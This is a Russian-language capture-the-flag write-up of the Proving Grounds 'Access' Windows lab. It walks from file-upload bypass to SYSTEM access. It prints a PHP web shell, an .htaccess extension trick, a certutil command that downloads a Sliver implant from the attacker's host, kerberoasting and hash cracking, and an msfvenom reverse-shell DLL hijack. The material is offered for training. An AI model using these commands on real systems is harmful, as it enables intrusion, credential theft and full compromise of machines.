Перейти к основному содержимому
  1. Posts/

ProvingGrounds - Access

Write-Up Windows ProvingGrounds Nmap Sliver Kerberoasting Hashcat Rubeus RunAs DLL Hijacking
breach.zone
Автор
breach.zone
Оглавление

About lab
#

Данная машина имеет следующее описание: начальным вектором атаки должно быть веб-приложение с уязвимой функцией загрузки файлов, что позволит нам поместить на сервер веб-шелл. Получив первоначальный доступ, нам предстоит повысить привилегии до уровня пользователя svc_mysql, а затем, используя SeManageVolumePrivilege, добиться системного доступа. Сложность оценивается, как very hard.

NOTE: IP адрес целевого хоста и моей машины могут отличаться на разных скриншотах - это связано с тем, что я перезапускал VPN или целевой хост.

NMAP
#

Быстрое сканирование портов:

nmap -v -Pn -T4 -p- 192.168.111.187
NMAP quick scan
NMAP quick scan

Запустим детальное сканирование портов:

nmap -v -Pn -A -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49677,49704 192.168.111.187
NMAP detailed scan
NMAP detailed scan

Как видно на скриншоте веб сервер запущен на стандарном порту 80, а также что имя домена access.offsec.

WEB
#

Уязвимая форма загрузки файлов расположена на вкладке покупки билетов.

Upload form
Upload form

Пробуем загрузить любое легитимное изображение.

FFUF
#

Теперь необходимо узнать, в какую директорию загружаются файлы. Для этого воспользуемся ffuf:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.111.187/FUZZ

Загруженные файлы помещаются в /uploads.

/uploads
/uploads

Следующая задача — загрузить php-файл, который сервер выполнит как веб-шелл.

BurpSuite
#

Bypass blacklist
#

Сначала пробуем загрузить cmd.php, затем отправим запрос в Repeater BurpSuite для дальнейших попыток обхода фильтров.

<?php system($_GET['cmd']); ?>

Начнем с простейшего: изменение расширения файла .php на другое, которое веб сервер тоже сможет интерпретировать как php.

Возможные варианты: phtml, .php, .php3, .php4, .php5, .php6, .pht, .pHp, .Php, .phP

Change extension name
Change extension name

Этот метод не сработал.

Bypass whitelist
#

Пробуем переименовать cmd.php в cmd.php.jpg. Файл загружается, но расширение .jpg остается, значит сервер его не интерпретирует как php.

cmd.php.jpg
cmd.php.jpg

Применяем различные ухищрения с \x00, %00 и прочими символами. Как видно, все они безуспешны.

File extension whitelist bypass
File extension whitelist bypass

.htaccess
#

Попробуем загрузить .htaccess, чтобы указать, что файлы с расширением .shell нужно обрабатывать как php:

AddType application/x-httpd-php .shell

Загрузка .htaccess успешна. Затем загружаем cmd.shell вместо cmd.php.

cmd.shell
cmd.shell

Теперь мы можем выполнять любые команды на сервере от пользователя svc_apache.

whoami
whoami

Sliver C2
#

Далее я буду использовать Sliver C2 для получения шеллов на машине.

Prepare beacon
#

Сгенерируем имплант. Так как антивирус на этой машине отключен, можно без проблем использовать стандартный имплант. Сразу создадим интерактивный билд без обфускации.

sliver > generate --mtls 192.168.45.183:8888 --os windows --arch amd64 --skip-symbols -s /home/kali/Documents/ProvingGrounds/Access/mtls_8888.exe
Sliver C2 generating implant
Sliver C2 generating implant

Запустим listener

sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #2

Upload beacon
#

Имея php шелл, можем скачать и запустить Sliver имплант на целевом сервере.

Сначала запустим на нашей машине простой веб сервер с помощью python.

python3 -m http.server
Python web server
Python web server

И из браузера запустим загрузку с помощью стандартной Windows утилиты certutil.exe.

http://192.168.127.187/uploads/cmd.shell?cmd=certutil.exe -urlcache -f http://192.168.45.177:8000/mtls_8888.exe mtls_8888.exe
certutil.exe
certutil.exe

Имплант загружен на целевую машину. Запустим его:

mtls_8888.exe
mtls_8888.exe

Execute beacon
#

Запуск:

http://192.168.127.187/uploads/cmd.shell?cmd=mtls_8888.exe

Отлично! Теперь у нас есть полноценный шел с кучей других возможностей предоставляемых Sliver.

Sliver sessions
Sliver sessions

Privileges escalation to svc_mysql
#

Enumeration
#

Согласно описанию к этой машине, следующий этап — получить привилегии пользователя svc_mysql, затем эскалировать до системного уровня. Так как в домене часто используются SPN для сервисных аккаунтов, попробуем kerberoasting.

Используем sharpview (аналог PowerView в Sliver) для поиска учетных записей со SPN:

sliver> sharpview -- Get-DomainUser -SPN
Sharpview
Sharpview

Аккаунт svc_mssql имеет SPN. Теперь попробуем сделать kerberoasting c помощью Rubeus.

sliver> rubeus kerberoast /simple
Rubeus kerberoast
Rubeus kerberoast

Сохраняем хеш и взламываем его hashcat:

hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Cracking svc_mssql hash
Cracking svc_mssql hash

Получаем учетные данные: svc_mssql:trustno1.

Escalation
#

Теперь когда мы знаем пароль от пользователя svc_mssql, нужно одним из способов запустить новый имплант от его имени. Как и ранее сгенерируем новый имплант на другом порту mtls_8899.exe в Sliver и загрузим его на сервер, например используя команду upload в текущей сессии.

Забегая вперед скажу, что если использовать стандартную команду Sliver runas (runas -d access.offsec -u svc_mssql -P trustno1 -p mtls_8899.exe) для запуска новой сессии от пользователя svc_mssql, то в результате эксплоит будет завершаться с ошибкой, как и попытки запустить стандартный shell.

Поэтому загрузим на сервер RunasCs.exe из этого репозитория:

Из текущей сессии от пользователя svc_apache запустим новый имплант, но уже с правами svc_mssql.

execute -o RunasCs.exe svc_mssql 'trustno1' 'C:\Temp\mtls_8899.exe' -t 0

Через пару секунд появляется новая сессия в Sliver.

svc_mssql session
svc_mssql session

Переключимся в новую сессию и заберем первый флаг.

Flag 1
Flag 1

Privileges escalation to system
#

Enumeration
#

Завершающий этап — это эксплуатация привелегии SeManageVolumePrivilege. Проверим привилегии svc_mssql:

getprivs
getprivs

Отлично! Можно двигаться дальше.

Escalation
#

SeManageVolumePrivilege позволяет управлять томами. В сочетании с определенной уязвимостью можно обеспечить запись в C:\Windows, а затем воспользоваться техникой DLL Hijacking.

Компоненты:

Запускаем SeManageVolumeExploit.exe

sliver > execute -o SeManageVolumeExploit.exe
exploit
exploit

С этого момента любой пользователь в системе может изменять файлы в C:\Windows.

Подготовим DLL и загрузим его на машину.

Мне не удалось воспользоваться dll, которую можно сгенерировать в Sliver с ключем --format shared, поэтому воспользуемся msfvenom.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.177 LPORT=5555 -f dll -o tzres.dll

Переместим tzres.dll в C:/Windows/System32/wbem/tzres.dll.

tzres.dll
tzres.dll

Запустим новый listener с помощью netcat.

nc -nvl -p 5555

С помощью способа описанного здесь триггернем загрузку tzres.dll.

Для этого надо выполнить команду systeminfo.

sliver > execute -o systeminfo

В результате мы получили новую сессию от системного пользователя:

nt authority\network
nt authority\network

Получаем финальный флаг:

Flag 2
Flag 2

Conclusion
#

Мне понравилась эта машина, я узнал для себя некоторые вещи, но пришлось потратить больше времени, чем требуется из-за того, что пришлось решать проблемы c runas и dll в Sliver.

Кратко список шагов которые мы предприняли:

  • С помощью nmap обнаружили веб-сервер и уязвимую функцию загрузки.
  • С помощью .htaccess заставили сервер воспринимать .shell файлы как php, загрузили имплант Sliver и получили доступ от имени svc_apache.
  • Провели Kerberoasting на svc_mssql, взломали хеш и получили пароль.
  • Через RunasCs.exe запустили новый имплант от имени svc_mssql.
  • С помощью эксплойта обеспечили запись в C:\Windows, подменили tzres.dll и вызвали реверс-шелл с привилегиями SYSTEM.

Подписывайтесь на мой Telegram канал Breach_Zone и твиттер Breach_Zone!